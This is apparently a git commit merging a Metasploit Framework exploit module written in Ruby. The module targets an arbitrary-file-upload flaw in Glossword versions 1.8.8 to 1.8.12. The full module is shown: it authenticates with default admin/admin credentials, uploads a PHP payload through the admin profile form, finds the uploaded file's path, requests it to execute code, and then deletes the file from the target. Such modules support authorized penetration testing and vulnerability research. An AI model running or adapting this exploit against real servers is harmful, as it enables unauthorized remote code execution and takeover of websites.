Merge branch 'bcoles-glossword_upload_exec'
sinn3r
commit
5fe2c26d82
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a file upload vulnerability in Glossword
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versions 1.8.8 to 1.8.12 when run as a standalone application.
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This application has an upload feature that allows an authenticated user
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with administrator roles to upload arbitrary files to the 'gw_temp/a/'
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directory.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'AkaStep', # Discovery
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'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
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],
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'References' =>
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[
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[ 'EDB', '24456' ],
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[ 'OSVDB' '89960' ]
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],
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic Targeting', { 'auto' => true }]],
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'Privileged' => true,
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'DisclosureDate' => "Feb 05 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
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OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
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OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
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], self.class)
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end
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def check
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base = target_uri.path
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peer = "#{rhost}:#{rport}"
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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# login
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print_status("#{peer} - Authenticating as user '#{user}'")
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begin
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res = login(base, user, pass)
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if res
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if res.code == 200
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print_error("#{peer} - Authentication failed")
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return Exploit::CheckCode::Unknown
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elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
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print_good("#{peer} - Authenticated successfully")
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return Exploit::CheckCode::Appears
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end
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end
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return Exploit::CheckCode::Safe
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{peer} - Connection failed")
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end
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return Exploit::CheckCode::Unknown
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end
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def on_new_session(client)
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if client.type == "meterpreter"
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client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
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client.fs.file.rm("#{@fname}")
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else
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client.shell_command_token("rm #{@fname}")
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end
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end
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def upload(base, sid, fname, file)
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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data = Rex::MIME::Message.new
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data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
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data.add_part("edit-own", nil, nil, 'form-data; name="a"')
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data.add_part("users", nil, nil, 'form-data; name="t"')
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data.add_part("Save", nil, nil, 'form-data; name="post"')
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data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
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data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
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data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
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data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
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data_post = data.to_s
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data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, 'gw_admin.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data_post,
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})
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return res
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end
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def login(base, user, pass)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, 'gw_login.php'),
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'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
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})
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return res
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end
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def exploit
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base = target_uri.path
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@peer = "#{rhost}:#{rport}"
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@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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# login; get session id and token
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print_status("#{@peer} - Authenticating as user '#{user}'")
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res = login(base, user, pass)
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if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
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token = "#{$1}"
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sid = "#{$2}"
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print_good("#{@peer} - Authenticated successfully")
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else
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fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
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end
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# upload PHP payload
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print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
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php = %Q|<?php #{payload.encoded} ?>|
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begin
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res = upload(base, sid, @fname, php)
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if res and res.code == 301 and res['location'] =~ /Setting saved/
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print_good("#{@peer} - File uploaded successfully")
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else
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fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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# retrieve PHP file path
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print_status("#{@peer} - Locating PHP payload file")
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
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'cookie' => "sid#{token}=#{sid}"
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
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shell_uri = "#{$1}"
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@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
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print_good("#{@peer} - Found payload file path (#{shell_uri})")
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else
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fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
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end
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# retrieve and execute PHP payload
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print_status("#{@peer} - Executing payload (#{shell_uri})")
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begin
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(base, shell_uri),
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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if !res or res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
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end
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end
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end
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